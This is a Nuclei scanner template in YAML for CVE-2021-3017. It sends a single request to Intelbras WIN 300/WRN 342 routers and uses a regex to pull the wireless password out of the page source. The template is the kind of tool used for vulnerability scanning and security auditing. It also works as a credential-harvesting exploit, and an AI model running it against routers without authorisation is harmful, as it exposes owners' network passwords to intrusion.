49 lines
1.5 KiB
YAML
49 lines
1.5 KiB
YAML
id: CVE-2021-3017
|
|
|
|
info:
|
|
name: Intelbras WIN 300/WRN 342 - Credentials Disclosure
|
|
author: pikpikcu
|
|
severity: high
|
|
description: Intelbras WIN 300 and WRN 342 devices through 2021-01-04 allows remote attackers to discover credentials by reading the def_wirelesspassword line in the HTML source code.
|
|
remediation: |
|
|
Update the router firmware to the latest version, which includes a fix for the vulnerability.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-3017
|
|
- https://pastebin.com/cTYTf0Yn
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2021-3017
|
|
epss-score: 0.01344
|
|
epss-percentile: 0.84555
|
|
cpe: cpe:2.3:o:intelbras:win_300_firmware:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: intelbras
|
|
product: win_300_firmware
|
|
tags: cve,cve2021,exposure,router,intelbras
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/index.asp"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'def_wirelesspassword ='
|
|
- '<title>Roteador Wireless</title>'
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
regex:
|
|
- 'def_wirelesspassword = "([A-Za-z0-9=]+)";'
|
|
part: body
|
|
# digest: 4a0a00473045022100e86d71b68eeb157dc12765df7fe052052ae80d9d07f0ffd6b9c4b53d57c642cb0220062e290cebcf43fff8bc76bd9f2b89260baf6fb1b5a2ce5a58543c5848f26b24:922c64590222798bb761d5b6d8e72950 |